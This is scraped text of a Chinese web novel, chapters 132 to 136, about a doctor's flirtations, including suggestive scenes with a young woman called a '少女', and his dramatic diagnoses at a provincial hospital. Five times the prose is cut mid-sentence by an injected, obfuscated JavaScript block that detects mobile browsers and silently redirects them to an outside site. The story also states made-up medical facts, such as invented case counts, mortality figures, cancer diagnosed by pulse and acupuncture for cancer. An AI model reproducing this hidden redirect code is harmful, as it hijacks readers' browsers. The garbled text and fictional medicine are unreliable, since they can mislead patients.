那双手的温度透过薄薄的衬衫布料，像带着电流般在她肌肤上游走。药油薄荷味的凉意和他掌心的灼热形成奇妙的对比，让她不自觉地绷紧了脊背。 "嗯...你明天就要走了..."她声音闷在枕头里，尾音微微发颤。 方晓的拇指突然加重力道，沿着她脊椎两侧的肌肉缓缓下压。张珈榕"啊"地轻呼出声，指尖揪紧了床单。 "这里很紧。"他俯身，温热的呼吸拂过她耳畔，"我不在的时候，记得按时来做理疗。" 张珈榕耳尖瞬间红透。她能感觉到身后人的体温，能闻到他身上淡淡的消毒水混着中药香的气息。 那双治病救人的手此刻正游走在危险边缘，每一次按压都像在试探她的忍耐极限。 "方、方医生..."她慌乱地想转身，却被他轻轻按住肩膀。 "别动。"方晓的声音低哑了几分，"还差最后两个穴位。" 方晓的指尖顺着她绷紧的腰线缓缓下滑，在髋骨上方打着若有似无的圈。 张珈榕的呼吸骤然急促，白大褂下摆随着身体的轻颤微微晃动，露出一截若隐若现的雪白肌肤。 "这里..."他的拇指突然加重力道，按在某个微妙的穴位上，"是带脉穴。" 张珈榕浑身一颤，指尖深深陷进治疗床的皮革里。 那根本不是什么正经穴位——她分明记得中医教材上带脉穴的位置要再往上三寸。 "方...方医生..."她的声音带着细碎的颤抖，"你确定...是这里？" 方晓低笑一声，温热的掌心突然整个覆上她脆弱的腰窝："当然。"他的气息拂过她发烫的耳垂，"特别疗法，对你的腰肌劳损作用很大。" 药油的薄荷香在空气中弥漫，混合着两人交错的呼吸声。 张珈榕能清晰地感受到，他修长的手指正在她腰际游走，每一次似触非触的撩拨都让她的心跳漏跳一拍。 窗外的梧桐叶沙沙作响，却盖不住治疗室内愈发清晰的、黏腻的指尖摩挲声。 方晓的指尖忽然滑向她腰侧，在髋骨上方打着圈揉按。 张珈榕咬住下唇，把脸更深地埋进枕头里——那里根本不是什么穴位，他分明在... 窗外的梧桐树沙沙作响，盖住了她失控的心跳声。 不知道过了多久，张珈榕感觉过了一年，或者只过了一秒钟。 “好了。”方晓最后一次用力，张珈榕察觉到一股热气透过自己的肌肤，在身体里乱钻。 痒痒的，麻麻的，像是16岁情窦初开时候心情。 第132章 记得做下个疗程 第一百三十二章记得做下个疗程 "啊......" 一声娇媚万千的轻呼从张珈榕唇间溢出，压抑中带着些畅快，在安静的诊室里显得格外清晰。 声音刚出，张珈榕立刻咬住下唇，脸颊烧得通红，连耳垂都染上了诱人的粉色。 方晓嘴角微扬，修长的手指缓缓从她炙热的腰肢上移开，却在即将离开的瞬间，指尖似有若无地在她脆弱的腰窝处轻轻一刮。 "嗯......"张珈榕浑身一颤，纤细的手指猛地抓紧了治疗床的边缘，指节都泛起了青白。 方晓是故意的！ 绝对是故意的！！ 可张珈榕觉得这种故意挺好的。 "抱歉，"方晓的声音低沉悦耳，带着几分戏谑，"这里有个穴位，需要重点刺激。" 他的手掌重新覆上她的腰肢，这次力道更轻，却带着不容忽视的存在感。 指尖沿着她的脊椎缓缓上移，每经过一个穴位，就轻轻打着圈按压。 "方医生......"张珈榕的声音带着轻微的颤抖，"这样......是不是......太......" "太什么？"方晓俯身，温热的呼吸喷洒在她的耳后，"张科长要是不舒服，可以随时喊停。" 他的拇指突然加重力道，在她腰侧一处脆弱的穴位上用力一按—— "啊~~~"张珈榕惊叫出声，身体不受控制地弹动了一下，发丝散落在雪白的枕巾上，衬得她绯红的脸颊更加艳丽。 “不行了，停！”张珈榕回过神之后马上说道。 方晓低笑，终于收回手："那今天的治疗就到这里。" 张珈榕趴在治疗床上，胸口剧烈起伏，整个人像是刚从水里捞出来一样，连抬手的力气都没有了。 "明天......"方晓慢条斯理地摘下手套，声音里带着几分意味深长，"我就要去省城了，张科长可要好好照顾自己。" 张珈榕侧脸陷在雪白的枕巾里，睫毛湿漉漉地颤动着。 她微微偏头，露出一双含着水光的眼睛，眼尾还带着未褪的红晕，笼罩了一层若隐若现的雾气。 "方医生..."她的声音软得不像话，指尖无意识地揪紧了皱巴巴的床单，"你...这就走了？" 方晓站在床边，居高临下地看着她。 阳光透过百叶窗在他白大褂上投下条纹状的阴影，勾勒出他精瘦的腰线。 方晓慢条斯理地卷起袖口，露出手腕上的骨节。 "张科长还想继续？"他俯身，阴影笼罩下来，"可是..."修长的手指轻轻拨开她黏在颈间的发丝，"再继续的话..." 指尖似有若无地擦过她脆弱的耳后，引得张珈榕浑身一颤。 只是张珈榕并没有直接拒绝方晓的提议。 "...可能会耽误明天的行程。" 张珈榕突然抓住他的手腕。她的掌心滚烫，指尖还带着未褪的麻麻感："那...临走前..." 她仰起脸，嘴唇因为急促的呼吸而微微张着。方晓的视线落在她泛着水光的唇瓣上，喉结不明显地滚动了一下。 诊室里的空气突然变得粘稠。 "张科长，"方晓的声音哑了几分，"这是在...挽留我？" 他的另一只手撑在床边，白大褂的领口随着动作微微敞开，露出锁骨的一小片阴影。两人之间的距离近得能数清彼此的睫毛。 张珈榕突然松开手，别过脸去："我...我只是..."她的耳尖红得滴血，"只是担心疗程中断..." 方晓低笑，伸手替她拢好散开的衣领。指尖不经意擦过她锁骨处的肌肤，引来一阵细微的颤抖。 "放心，"他直起身，白大褂下摆轻轻扫过她的膝盖，"我会经常回来..." "...复查张科长的"病情"。" 方晓的语气有些怪，张珈榕听出了些什么。 但她没反对，只是若有若无的微微点头。 “方医生，家里面有什么事儿先告诉我。”张珈榕道。 “郝强那面怎么样。”方晓问道。 “很麻烦。”张珈榕毫不犹豫的告诉了方晓，“郝院长有麻烦，就是郝强的麻烦，据说已经有人要找郝院长的麻烦了。” “前年，ct室主任退休前进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478474|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了3台ct机和一台核磁共振的机器，手续上有些不合规。” 方晓微笑，在郝院长强势的时候，有些事儿没人找他麻烦。可一旦郝院长遇到事儿了，想进步的人多了去了，不知道多少人蠢蠢欲动。 一旦郝院长垮台，郝强的下场是一目了然的。 “柴菲菲呢。”张珈榕已经坐起来，她看了一眼方晓，见方晓听到这个名字之后情绪没有波动，便笑了笑，“手续上有问题，我这面压一下。” 其他的，张珈榕没仔细说，方晓知道要是院长层面郝院长自顾不暇，张珈榕肯定顺手把柴菲菲的编制给弄没了。 但要是郝院长安然无恙的话，张珈榕也不好做什么。 “那行。”方晓微笑，“麻烦张科长了。” “你去省城，少沾花捻草。”张珈榕忽然说了一句奇奇怪怪的话。 方晓一怔。 张珈榕随即掩嘴笑道，“你是不是还要带着你那个小保姆一起去啊。” “可能吧。” 张珈榕起身，整理好白服，“那我走了，明天你抓紧时间去找李老，最好今天就去，明天一早八点到李老的诊室。” “好。” 这是好话，方晓自然知道。 看着张珈榕的背影离去，方晓的手不自然的动了动。仿佛手下还是张珈榕的腰窝，一股力量透了进去。 简单收拾东西，方晓回到家。 去省里学中医针灸，拿到执业证，自己就能光明正大的治病了，方晓对此比较热心。 而身边存了一些【复制符】，还没有合适的疾病需要复制。 方晓也不着急，谁会嫌自己的底牌多呢。 他和急诊科的医生护士打了个招呼，准备回家收拾东西区省城。 开门，方晓看见许玉穿着家居服正在收拾东西。 听到有人开门，许玉回头，方晓赫然看见许玉的眼圈红红的。 方晓站在门口，看着许玉纤细的背影在厨房里忙碌。她今天穿了一件宽松的居家T恤，下摆堪堪遮住大腿根，随着她踮脚拿碗的动作，露出一截雪白的腰线。 "许玉。"方晓轻声唤道。 第133章 哥，你要去省城 第一百三十三章哥，你要去省城 少女猛地回头，眼圈红得厉害，像是刚哭过。她手里还攥着沾着水珠的玻璃杯，指尖因为用力而微微发白。 "哥。"她的声音带着鼻音，"你、你要走了吗？" 方晓走近，伸手接过她手里的杯子。指尖相触的瞬间，许玉像是被烫到般缩了一下。 "只是去省城进修。"他的声音比平时柔和，拇指轻轻擦过她被泪水打湿的眼角，"怎么哭成这样？" 许玉低下头，额前的碎发垂下来，遮住她发红的眼眶："我...我给你收拾了行李..."她指向沙发边的行李箱，"衬衫都熨好了...还放了胃药..." 她的声音越来越小，最后几个字几乎含在嘴里："怕你在那面不好买。" 方晓心头一软。他抬手，修长的手指穿过她柔和的发丝，轻轻托起她的下巴："许玉。" 少女被迫仰起脸，湿漉漉的眼睛像受惊的小鹿。她的嘴唇微微颤抖，呼出的气息带着淡淡的薄荷牙膏味。 "我每周都会回来。"方晓的拇指摩挲着她的下巴，声音低沉，"检查你有没有好好吃饭。" 许玉的脸"轰"地烧了起来。她慌乱地别开视线，却因为方晓突然俯身的动作而屏住呼吸。 方晓的唇几乎贴着她的耳垂："还有...记得把我的衬衫...熨得再平整些。” 许玉的呼吸骤然停滞。 方晓的唇悬在她耳畔，温热的气息拂过她脆弱的耳廓，激起一片细小的战栗。 她攥着他衣角的手指不自觉地收紧，指节泛白，像是抓着最后的救命稻草。 "哥..."她的声音带着细微的颤抖，像是被雨水打湿的蝶翼，"我...我会想你的..." 方晓低笑，鼻尖若有似无地蹭过她发烫的耳垂："有多想？" 他的手掌顺着她纤细的腰线滑到后背，轻轻一按，许玉便不受控制地跌进他怀里。少女单薄的胸膛紧贴着他，隔着衣料能感受到她急促的心跳。 方晓的心也急速跳动起来，他马上离开，刚刚的动作只是一个轻轻的拥抱。 "像..."许玉的睫毛剧烈颤抖着，声音细若蚊呐，"像想家那样..." 方晓的眸色一暗。 他忽然抬手，修长的手指穿过她软软的发丝，托住她的后脑。许玉被迫仰起脸，正对上他深不见底的目光。 "不够。"他的拇指轻轻摩挲着她泛红的眼尾，声音低哑，"要更想我。" 许玉的呼吸彻底乱了。 她张了张嘴，却发不出声音，只能眼睁睁看着方晓的脸越来越近。 "叮铃铃~~~" 刺耳的手机铃声突然炸响。 方晓的动作一顿，眼底闪过一丝不悦。许玉趁机慌乱地后退一步，却不小心绊到行李箱，整个人向后跌去。 一只温热的大手稳稳扣住许玉的腰。 那只骨节分明的手掌扣住腰肢的瞬间，许玉的呼吸骤然停滞。 方晓的拇指正正抵在她后腰凹陷处，虎口卡着髋骨边缘，掌心温度透过单薄的衣料灼烧肌肤。 他忽然收力向上一托。 "唔..."许玉的脊背被迫弓起，后腰悬空处恰好嵌进男人屈起的膝盖。 "小心。"方晓的声音带着未褪的暗哑，手掌在她腰间停留了几秒才缓缓松开，"我接个电话。" 许玉的脸红得几乎滴血。 她低着头，手指无意识地绞着衣角："哥，你...你快接电话..." 方晓看了眼来电显示，眉头微皱。他伸手揉了揉许玉的发顶："等我回来。" 转身接电话时，他的指尖若有似无地擦过她的唇瓣，留下一片灼热的触感。 许玉呆立在原地，看着他的背影，不自觉地舔了舔嘴唇。 那里，仿佛有方晓残留的味道，男人的味道。 “喂，您好。”方晓接起电话，客客气气的说道。 “方晓方医生，是吧，我是李墨生李老的孙女，李青荷。” 一个好听的声音从电话里传来。 不是很嗲，很夹，透着一股子英气。 方晓吁了口气，他还以为有别的什么事儿呢。 “李医生，您好。”方晓客气的回答道。 “明天一早来诊室，别迟到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484894|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。手续，我都给你办理好了。” “好的，这是您的电话吧，我记一下，明天联系。” “那个……”李青荷忽然顿了一下，随后问道，“方医生，你以前学过中医？还是家里有传承。” 方晓一怔，随即否认。 李青荷也没纠缠，而是寒暄完就挂断电话。 许玉竖着耳朵在听，等方晓挂断电话，许玉水汪汪的大眼睛似乎会说话，在询问方晓是谁打来的电话。 她听不清说了什么，但是个女人。 方晓刚放下手机，许玉就蹭了过来。 她光着脚踩在木地板上，睡裙下摆随着动作轻轻晃动，露出纤细的脚踝。 "哥..." 许玉的声音软糯，手指无意识地卷着睡裙肩带，"饭都凉了。" 嘴上这么说着，许玉的眼睛却直勾勾盯着他掌中的手机，睫毛在眼下投出一片不安的阴影。 方晓把手机倒扣在桌上，屏幕与木质桌面碰撞发出清脆的"啪"声。许玉的肩膀几不可察地抖了一下。 "是省城李老的孙女。"他伸手揉了揉她发顶，"问我明天几点到省城。" 许玉突然抓住他的手腕。 许玉的掌心滚烫，柔弱无骨。她拽着他的手按在自己颈侧，让他感受自己急促的脉搏。 "是省城李老的孙女。"方晓伸手揉了揉许玉的发顶，指尖不经意缠住她软软的发丝，"问我明天几点到省城。" 许玉突然抓住方晓的手腕。 她的掌心滚烫，柔弱无骨，带着微微的湿意。拽着方晓的手按在自己颈侧，让他感受那急促跳动的脉搏——怦、怦、怦——一下快过一下，像只受惊的小鹿。 "你听..."许玉仰起脸，睫毛轻颤，在眼下投下一小片阴影，"我的心跳...是不是太快了？" 方晓的拇指无意识地摩挲着她颈侧细嫩的肌肤，触到一片灼热。 他的呼吸陡然沉了几分，目光落在她微微张开的唇上——那里泛着水光，像沾了晨露的玫瑰花瓣。 "嗯，心动过速。"他的声音低哑，带着几分危险的意味，"需要...紧急处理。" 第134章 下马威 第一百三十四章下马威 话是这么说，但方晓却把手抽走，没有进一步的举动。 许玉微微失望，但突然踮起脚尖，温热的鼻息拂过他下颌："那方医生...要怎么治？" 方医生？方晓一怔，随即醒悟许玉是在角色扮演。 她拉着他的手缓缓下移，从颈侧滑到锁骨凹陷处，再往下。 客厅的窗户透进来暖黄的光，将两人的影子投在墙上，交叠成亲密的形状。 许玉赤着脚踩在方晓的拖鞋上，踮起脚尖时，睡裙的棉质面料随着动作轻轻摩挲过他的腿侧。 "方医生..."她声音又轻又软，带着撒娇般的鼻音，手指从他颈侧缓缓滑下，在锁骨处打着圈，"我这里...最近总是疼..." 方晓呼吸一滞，被她牵引着的手掌下是棉质睡裙下温热的肌肤。 他能清晰地感受到她急促的心跳，透过薄薄的衣料传递过来。 "是么？"他声音低哑，拇指在她所说的"疼痛处"轻轻按压，"这里？" 小破孩想玩，方晓也没拒绝。 家里的空气似乎都变得更加粘稠，透着一股子异样的味道。 许玉"嗯"了一声，声音带着细微的颤抖，身子却更贴近了几分。她仰起脸，嘴唇几乎擦过他的下巴："方医生...要不要...仔细检查一下？" 方晓眸色一深，忽然揽住她的腰转身，将她抵在沙发背上。 许玉的后腰陷入软软的靠垫，睡裙因动作微微上滑，露出一截雪白的大腿。 "检查可以。"他俯身，鼻尖几乎贴上她的，"但小玉你……" 温热的手掌顺着她腰侧的曲线缓缓上移，在肋骨处微微停顿："你得先告诉我，到底哪里不舒服？" 许玉的呼吸彻底乱了，手指无意识地揪紧了他的衣领："全……全身都不舒服。" 方晓低笑，气息喷洒在她唇边："那看来得做个全身检查才行。" 许玉“嘤”的一声，身上隐约腾起一股子热浪。 玩笑开的有点过，方晓哈哈一笑，伸手揉了揉许玉的头。 “你二伯没和你说？” “说什么？”许玉的目光有些游离。 方晓本来就是试探一下，许玉还是年轻，一下子就上了套。 看样子老许头是做好准备了，方晓心里一笑。 “又不是生死离别。”方晓微微一笑，“等我在省城找到住的地方，你也搬过去。” 许玉睁大眼睛，她的指尖还悬在半空，听到这句话突然一颤，像被烫到似的缩回手。 她咬着下唇，睫毛扑闪得厉害，脸颊浮起一层薄红。 "你、你什么意思......"许玉的声音轻得几乎听不见，手指无意识地绞着衣角。 方晓轻笑，伸手将她散落的发丝别到耳后。指尖若有似无地擦过她发烫的耳垂，引得少女浑身一颤。 "就是字面意思。"他声音低沉，带着几分诱哄，"你二伯不是早就想让你去省城？" 许玉猛地抬头，水润的眼睛里满是慌乱和某种隐秘的期待。她张了张嘴，却只发出小猫似的呜咽。 方晓忽然倾身，阴影笼罩下来。他身上淡淡的烟草味混着洗衣粉的清香，将许玉困在沙发一角。 "怎么？"他拇指蹭过她滚烫的脸颊，"不愿意？" 许玉的呼吸乱了。她看着近在咫尺的薄唇，鬼使神差地往前凑了凑。 "我、我没说不愿意......" 话音未落，方晓突然抽身而起，在她茫然的目光中走向门口。 "那就这么定了。"他回头，笑得像只偷腥的猫，"记得收拾行李。" 门关上的瞬间，许玉才回过神，整个人蜷缩进沙发里，把发烫的脸埋进抱枕。 方晓洗了个澡，收拾完衣服拉着行李箱直奔省城。 他在省城第一医院附近找了个酒店住下，第二天一早赶去第一医院中西医联合治疗楼。 询问了一名护士后，方晓找到李老的诊室。 门口，一个身穿白服，竖着简单干净高马尾的女医生正在看着走廊的尽头。 “请问，您是李青荷李医生？”方晓走到高马尾面前，微微躬身，询问道。 “方医生！”李青荷上下打量方晓，他衣着简单朴素，可由内到外仿佛发着光似的。 这一点出乎了李青荷的意料。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492915|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我是。” “进来吧，我爷爷一直在等你。”李青荷转身，但下一秒忽然问道，“方医生，你能用针灸治疗股骨头坏死？” “嗯，治过几例。”方晓回答道。 他一猜就是有些患者心里不平稳，疑神疑鬼，所以来省城复查。 针灸，股骨头坏死，换西医会觉得又是哪个“老神医”的装神弄鬼。 可要是换做中医，尤其是李老这种，一定会留意。 瞒是瞒不过的，这一点方晓心知肚明。 能瞒过一些人，但瞒不过有心人。 李老就是那个有心人。 进了诊室，方晓见一位七八十岁的老人家正在给患者号脉。 他的眼睛微微闭着，手指修长，搭在患者的桡动脉上。 方晓没说话，只是静静的等着。 很快，李老睁开眼睛，他没有意外，而是招了招手。 “小方，来号个脉。” 其他人都愣住，怎么李老好像和方晓认识了很多年似的呢。 只有方晓心中叫苦。 李老看起来很温和，但他的动作和表情意味着正在考自己。 方晓在一边坐下，伸手搭在患者的桡动脉上。 脉象有古怪，但方晓注意的则是患者本身。患者的脖子粗大，尤其是后颈部，一抬头就会有一堆肉。 这种人不罕见，尤其是在夏天的夜市里，坐在烧烤摊旁喝酒吹牛的老爷们最常见。 只是患者的情况有些严重，他的脖子粗的影响到了呼吸。 李老出的题目……有点难，方晓心念电闪，琢磨着到底是什么病。 诊室里的空气安静下去。 “老板让那个年轻人诊断？” “害，就是给他个厉害看看，要不然年轻人飘的太厉害。” “就是，这患者赵教授看了三四次，开什么药都不好用，怎么能是一个小医生能看懂的。” 其他医生小声嘟囔着。 方晓却没在意别人说什么，几分钟后，他抬手，看向李老。 “李老，患者应该去肝胆外科或者介入科。” “！！！” “！！！” 第135章 马德龙病与肝癌 第一百三十五章马德龙病与肝癌 “这不是扯淡么，人家什么事儿都没有，就是来调理一下的，就让人去住院？” “就是，综合性医院都这玩意，什么东西！别的不会，就知道让患者做检查。” “老板就找这么个东西来？本来我还好奇，现在一看，好失望啊。” 李老身边的医生们议论纷纷。 而李老却没说话，而是示意方晓继续说。 方晓顿了一下，刚要说话，可他的话语声却被身边的人打断。 "住院？就这？"金丝眼镜的张主任嗤笑一声，指着患者粗如树干的脖子，"这不就是个普通脂肪堆积？抽个脂就完事了，住什么院？" “再说，也没影响到患者的呼吸，年纪轻轻，好的一点都没学会，把综合性医院的破毛病学的十足十。” 其他医生纷纷附和："就是，现在年轻人就知道小题大做。" "估计连脂肪瘤和纤维瘤都分不清吧？" “这基本素质可是挺差啊。” 方晓不慌不忙地看了一眼李老，见他默不作声，随后扫了一眼周围的所有人，突然问道："在座各位老师，有谁听说过马德龙病？" 诊室里顿时鸦雀无声。几个副主任医师面面相觑，连李老都皱起眉头。 "马...什么病？"张主任掏手机就要查百度。 方晓一把按住他的手机："别查了，这是良性对称性脂肪瘤病，虽然比较常见，但这么严重的却不多，全球病例不到两千例，国内文献记载的只有37例。" 他转身唰地把手落在患者的肩膀上，"而你们眼前这位，就是第38例。" "放屁！"张主任涨红了脸，"我从医二十年，从来没听说过这种病！" 方晓冷笑一声，突然扯开患者衣领："双侧对称性脂肪堆积，主要分布在颈后、肩部，呈"马颈"或"驼峰"样外观，喏，是不是很典型。" 他的手指划过患者隆起的皮肤，"看到这些**细血管扩张了吗？这是马德龙病的典型特征。" 李老猛地凑近："等等，这确实不像普通脂肪瘤……" "当然不像。"方晓从白大褂掏出手机，调出一张图片，"这是去年《柳叶刀》刊登的马德龙病典型病例，各位可以对比下。" 图片上的患者脖颈粗得离谱，简直像是戴了个肉项圈。在场医生倒吸一口凉气——和眼前患者不说一模一样，简直就是一模一样。 "不可能！"张主任还在嘴硬，"这种罕见病怎么可能..." "怎么不可能？"方晓突然掀开患者袖子，"长期酗酒史导致的脂肪代谢障碍，患者虽然现在戒酒了，但你看他手臂这些细小的脂肪结节——"他指尖点着几个米粒大小的小东西，"这都是马德龙病的"路标"。" 患者突然激动起来："神医啊！我一年前确实天天喝大酒！" “戒了？”方晓微笑，询问道。 “酒精肝，不能再这么喝下去了，一年前戒了。现在偶尔会馋，馋的时候喝点啤酒。那玩意跟水似的，真是不好喝。”患者开始罗里吧嗦的说起自己的感受。 方晓没有打断他，而是面带微笑的听着。 张主任额头开始冒汗。 那个年轻人说的所有事情，患者都给与了正面的反馈，难道真的是什么马什么病么。 古怪，马什么病自己从来都没听说过，而且东北这种脸大脖子粗的人很多见。 方晓拍了拍患者的肩膀，乘胜追击："马德龙病最危险的不是外观，而是内脏脂肪浸润。"他啪地拍出一张CT片，"看到气管这个压迫程度了吗？患者现在是不是平躺就呼吸困难？" 患者疯狂点头："对对对！我这两年都不敢平躺着睡！" 方晓再次得到患者的认可。 整个诊室鸦雀无声。刚才嘲讽的医生们全都涨红了脸。 "现在，还有人觉得不需要住院吗？"方晓环视众人，"这种病放任不管，五年内死亡率超过60%，主要死因是——" "窒息。"李老突然接话，声音都在发抖，"脂肪组织会压迫气管，导致患者呼吸困难。至于现在么，还能用手术方式进行治疗。" 方晓点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497967|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头："您老人家英明，不过现在治疗还不晚。" “小方，介入科是怎么回事？”李老忽然问道。 “老人家，马德龙病一般都是大量酗酒引起的，经常伴有酒精肝。您知道，国内肝癌患者伴有乙肝的概率极高，酒精肝虽然不多见，但也是诱发因素之一。” 方晓凑到李老耳边低声说道，他不想患者听到这些内容。 其他**眼瞪小眼，面面相觑，完全不知道方晓葫芦里卖的是什么药。 “那个，你先出去。”李老看向患者。 患者伸手指了指自己鼻子，但面对李老这种一看就是老专家的存在，他也没反驳。 “我们要研究一下你的马德龙病。”李老微笑，他面对患者的时候还是很温和。 “哦哦哦。”患者点头，放了心，走出诊室。 李青荷关门。 “小方，把你刚才跟我说的再说一遍。”李老悠悠说道。 所有人的目光都落在方晓身上。 他们的目光锐利，很明显刚刚李老听到了什么，他们也很好奇。 方晓的声音虽然压低，但在安静的诊室里依然清晰可闻，他把刚刚的话又说了一遍。 李老招手，有人凑过来。 “查个肝功能。” 那人开完单子，李老让他去送血，最快的速度出回报。 “小方，你再说。”李老对这个年轻人颇有兴致。 方晓挠挠头，有些不好意思。 “老人家……” “叫我老师就行。” 方晓的眼睛瞪大，这就同意了？！太简单了吧。 周围的人目光炙热，似乎要把方晓千刀万剐。 不过他没有犹豫，马上说道，“老师，我进来的时候看见您正在给患者把脉，脸色有些异样。” “哦？”李老来了兴致。 这种察言观色的本事在中医里属于望闻问切中的望。 望患者是望，望自己也是望。 “您的表情有些沉重，给我的第一个感觉是患者的病情比较重，需要进一步治疗。” 第136章 方家神鬼针（上） 第一百三十六章方家神鬼针（上） “再加上马德龙病，酒精肝，我觉得要做一些检查，确定后做介入治疗或者外科手术治疗。” 其他人都愣住。 还有这一层转折？这可是他们都没想到的。 这也，这也太离奇了吧。 眼前这个小伙子看起来似乎很牛逼啊，也不知道他的诊断到底是对还是不对。 “真的假的。”张主任怔住，下意识的问道。 “小张。”李老微微一笑，抬手制止了张主任的话。 随后李老伸出三指轻搭在面前，仿佛打在患者的寸关尺上，闭目凝神三秒，突然睁眼，目光如电："弦硬而涩，如刀刮竹，左关尤甚——这是肝经瘀毒已入血分的脉象！" 随即他指尖力道一沉，继续道："初按似沉弦，久候却现促结之象，尺脉沉细如缕——这是肝木横克脾土，肾水已不能涵养肝木的危候！" 在场中医科主任手里的保温杯"哐当"掉在地上。 李老突然变指为弹，仿佛在患者太冲穴上一按。 虽然患者没在场，但所有人，包括方晓都隐约听到患者痛得大叫。 "肝经原穴压痛如裂，配合脉象如刀刃游走——这分明是"酒毒腐肝，瘀结成癥"的肝癌前兆！" 他甩袖转身，对着一屋子呆若木鸡的专家冷笑道："《难经》有云"肝之积，曰肥气"，你们摸着他这左关脉的"豆状结节感"，再对比《脉经》记载的"肝积脉如循薏苡子"。" 一切都对！ 其他专家目瞪口呆，怔怔的看着李老。 方晓也佩服的五体投地，李老简直太牛逼了，光凭着号脉这一手就能号出来患者的肝癌。 中医里骗子居多，而眼前这位老者却是凭着自己的水平一早就给了明确诊断。 方晓知道自己来对了！ “老板。” “去催一下结果。”李老微笑，“还是要有各项指标才能确定。” 十几分钟后，有人忽然喊道，“老板，结果出来了！” 李老也没着急慢悠悠的打开his系统，看化验回报。 "患者肝功能异常，转氨酶高出正常值三倍，B超显示肝区有占位性病变。"他顿了顿，"我怀疑过是早期肝癌，没想到竟然真的是。" "什么？！"张主任猛地站起来，脸色煞白，"这不可能！我们上周才给他做过体检！" 李老微微摇了摇头，直接打开电子病历系统，调出患者的检验报告："ALT158，AST172，GGT389——张主任，这就是您所谓的"正常体检"？" 他手指一划，调出B超影像，"再看这个肝右叶2.3cm×1.8cm的低回声区，边缘不规则，有毛刺征，典型的肝癌早期表现！" 整个诊室瞬间炸开了锅。几个年轻医生倒吸冷气，李老的脸色也变得凝重起来。 张主任额头渗出豆大的汗珠，手忙脚乱地翻找病历："这、这一定是弄错了..." "弄错？"李老突然提高音量，"患者连续三年在您这里体检，肝功能指标年年异常，您却连个随访都没安排！" 他啪地甩出一叠历年体检报告，"要不要我现在就打电话问问检验科，为什么重要异常值没有标红？" 张主任很少见自家老板会跟自己发脾气，他连连点头，一句废话都不说。 李老转身换上温和的语气："别担心，发现得很及时。" 他看向方晓，"我建议立即安排PET-CT和肝穿刺活检。" “小方，这么做对么？” “……” “……” 方晓一下子不知所措。 老人家竟然这么询问自己？开玩笑呢吧。 【方家神鬼针】的内容在脑海里出现，方晓猛然意识到自己应该能做点什么。 “老……老师。”方晓马上说道，“我建议送去肝胆外科完善相关检查的同时，加上中医治疗。” 加上中医治疗？ 加上中医治疗！ 除了李老之外，所有人的目光都变了，变得极其怪异，仿佛在看一个傻子。 中医能治疗癌症么？ 说不能，那是不对的，但只能治疗一些极其罕见的特例。 “你……你简直在胡说八道。”张主任斥道。 可他马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505154|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面对李老刀子一般的目光，自家老板似乎手里拎着五十米大刀，随时都会当头落下。 “小方，现在可以么。”李老悠悠问道。 “可以，我试一试，老师您帮我把关。”方晓很清楚医院内的勾心斗角。 有时候不能懦弱，要展现出强势的一面。 退一步，不会**，只会让人步步紧逼。 有人去把患者叫进来，方晓拿出随身的一次性针灸针。 方晓指尖一挑，三寸金针在无影灯下泛起冷冽寒光。 “肝俞！” 方晓心中高声大吼。 【方家神鬼针】变幻莫测，方晓在长南做过一定的实践，但总归还差了一点，这一次方晓全力而为。 